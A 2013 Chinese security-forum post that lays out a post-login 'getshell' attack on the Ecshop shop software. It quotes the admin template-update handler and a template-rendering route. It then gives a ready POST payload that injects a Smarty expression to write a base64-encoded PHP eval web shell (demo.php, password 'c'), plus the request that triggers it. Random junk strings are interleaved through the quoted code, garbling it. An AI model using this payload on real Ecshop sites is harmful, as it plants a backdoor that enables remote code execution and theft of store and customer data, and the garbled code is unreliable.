找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2530|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板! k+ {. f$ n. G0 l: c6 ~
& T1 C" f( j5 O& |5 y8 A
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
: r+ W1 R5 t5 j$ C7 M1 H+ M但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* \9 y: V$ C8 K5 i% |2 {
admin/template.php
% e. s5 x* a5 v2 C; d& V8 Y4 G. S+ Y2 [; n0 a
1 if ($_REQUEST['act'] == 'update_library') 0 Z9 s& R3 Z2 O0 Y! m
- K8 b1 W  v! L
2   
4 [! D( R( x; R- k' p0 q: Q1 G5 `/ E0 L. {
3 {   g8 X8 Q2 {) p6 c; [! I
6 D4 r  _$ p( H' \. \6 L
4     check_authz_json('library_manage');
( G% I+ ^, U+ w* }  D3 x, s9 B7 Q1 f6 s# T) q/ I
5   , A- G* W, Z4 K4 ?- K9 a7 W

5 [$ P9 H) P+ ?/ I4 H6     $html = stripslashes(json_str_iconv($_POST['html'])); ; d2 p3 A, ^3 o: t6 v) b* M& x

: [8 p, m6 @/ w( l! h2 u6 r7   
1 ~- _' |4 O- n. C* U# a' b* b& h* c; ]) ~! D: \$ n( [' b; ~. @" g) |
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
8 t# m" H. B9 N! I7 c& C7 Z/ L/ L5 d; O, ~' n
9   9 q+ @( G& W5 i% a) n( _+ y  W
# K/ ]! r; ?1 t$ M1 p
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ( P' O: Z& F; O# ~( L- I" I
- G# _, z8 }8 U5 u% d1 v
11   0 r% K( n+ i& p; T1 A" I" N

, V  d5 {& f. @1 A12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); " K3 a9 K  y7 a) O* k" K8 H
) y/ j. L* c$ J) k
13   
  K% j8 g9 d) b1 D1 _# U% S4 y6 ~) y+ q' C, D% @# Y0 ~
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 2 x" U: X7 t- v6 [
2 Q; q* i9 I, ^2 d2 w
15     {   ~* c$ L0 y* r2 T: `5 c

$ n  b5 t, _. g- q" S16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); * a5 I) w0 h5 K1 r8 E$ ~* T# r* Z
: V' H; F3 F1 Q: c& I( s
17         make_json_result('', $_LANG['update_lib_success']); $ {& x( F7 U4 P0 W  w% Y

1 ?+ a2 T- _$ e- K. B* w. E18     } $ M! s$ B( f5 V3 J2 E! P
: [- I7 \, @9 s0 t0 M
19     else 4 L; o3 i5 `( e- E$ W  V* \

3 w5 O# K4 e- m20     { , R+ @/ ]' ]" I0 n. ~; @0 K1 y
0 e0 S- `) O4 k  _
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
& R5 v- ]3 i8 |  o0 q0 T' X1 Z2 r$ b1 y+ O% |' c( j
22     } ' q' d5 g" I; a5 u* F" I
* u% x# d0 [3 c# Y" K5 T6 a( f
23 }
! F6 \+ O' R& B: q. G7 @/ y# z% S0 a
那么找个比较方便调用了模板的文件
" a  |3 N. j% }% p" ~index.php
* D$ F5 o/ }4 d8 R( J, t; q9 b% b. `$ |/ C. ^9 [& D# t
1 if ($act == 'cat_rec')
3 Z) ~, K! |- `6 k0 O# P7 ?; e$ e' \
& ~& F" |3 V7 |5 ]2   
  F# B7 e5 K% i/ v- ~+ Z3 P4 \2 a  C( t& E
3 {
1 {- f- G$ |* M
# q1 H/ u& z8 z+ G4   
- X" p: Q3 _$ n3 c: b0 G
% c  k. T' M8 q8 Q5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 ]$ X) G) q' m
# H: K/ D5 e; m3 M6   
0 \, ~+ x" {+ Z) t6 P4 [8 N
, n1 ^. K" A" K- \3 q0 k0 p7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; - Y5 @6 b( h5 u% ^" M

. o0 B2 h5 u: ?8 \% P: U* M8   
6 d/ {6 d& \0 \- e; A& g* l. ]! R3 s0 F
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; . g$ l$ \& x- {. [
4 m. F( D' H* {- B: j
10   9 g# h* G3 S5 L- u' w4 M4 Z
0 \' Q* N+ s+ \0 L; y: t
11     include_once('includes/cls_json.php');
1 u( P; Z& V/ ~3 w! [/ M, Z9 b5 e: w" @
12   9 l' j* j: p4 i4 J9 z/ i

, _  _2 y0 ^1 q  ^13     $json = new JSON;
/ R/ d( r; n( g  g0 r& D2 F% [9 o0 L+ x, Y0 g: \& J0 T
14   
2 r4 A, |1 i. D
6 \# x! M5 q( Y7 s4 y& R( b6 n( o15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 9 ^- f. F  g; T  f& c
  t2 e6 t! m; l# S/ ^
16   
$ d& j4 O3 d' D: H2 @
# Y, w$ w1 X* D: \# G17     $children = get_children($cat_id);
* i0 |; i  x' ]; O
0 K9 D6 k$ v3 E5 t6 X; h  T18   4 X; j9 w9 c( J3 F
* C6 \, r6 s# j  D7 c, ~
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
5 Y- C1 e1 L- h) C$ {. U, L
- a- s8 \  g' F% ]* q9 }5 [20   - R+ f  I3 n* m6 Q
7 p/ Q7 g7 ~8 {0 ?0 G; A
21     $smarty->assign('cat_rec_sign', 1);
& w" [7 [, W; {* g5 \8 d6 W
+ M) O' Q, }0 O* Y( J, r4 t& I( t22   
* O" }# c5 z1 O: k% c$ q* [: N
, D) R# m1 Q. A4 q4 R" T23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best * |$ g+ L% m9 V  m0 l
8 K4 A/ ^0 }: J4 K/ E+ t
24   
2 E2 l( j. _$ Y* `; B$ z# k. d8 b# n' o2 E+ m6 P
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 0 L3 m0 Z/ H" ~+ |0 G* o/ h. _
) c8 f8 T, J: @; A
26   
  G$ N- k" X7 d. {
8 U- V3 A, T4 I1 S2 S' t" \, M27         echo $rec_array[$rec_type];
- y; W8 N4 J; B$ f7 a( Y9 N- f' n( Q" x* V3 h" M/ V# r/ F
28   4 i- s4 o) Z8 B) f3 \: W

% T, e5 D4 a+ I% j, @29     die($json->encode($result));
- U- Z, J2 Q8 c$ l; @' r( w8 o( k- B# V) m* ]- u8 O" ]6 I2 ]
30   - k# v' M8 ?+ R; c+ L( G
2 L: Z8 _% o& z8 F# Q
31 }
  @3 U5 l! i" S7 [( F) D( h. b
' D6 U. F  S; [) k1 v& U% o. w那么就有利用方法了8 A6 x6 F' n! ?( ?% ^: M
post包到http://localhost/ec/admin/template.php?act=update_library& E$ M; Z* h6 j0 h/ l/ u# J; _
Post内容:
! @4 V  Z' u' Y( X! ~3 Z% a' B& c( c  r# w* G

- F5 o" b9 ^9 H4 O( E1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. `( x4 r4 p9 M5 |% a( L5 D" Z( p% j( V) P7 i
然后访问http://localhost/ec/index.php?act=cat_rec
. ~6 H4 ?4 ?+ O% y2 u: T0 U) D$ Z
shel地址:http://localhost/ec/demo.php
+ l1 o; N3 Q6 |$ x& L! X- b1 L! M密码c( X1 H, J' ?+ h+ J& x% `/ g

0 s# \- `2 t4 V6 o$ N& G0 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表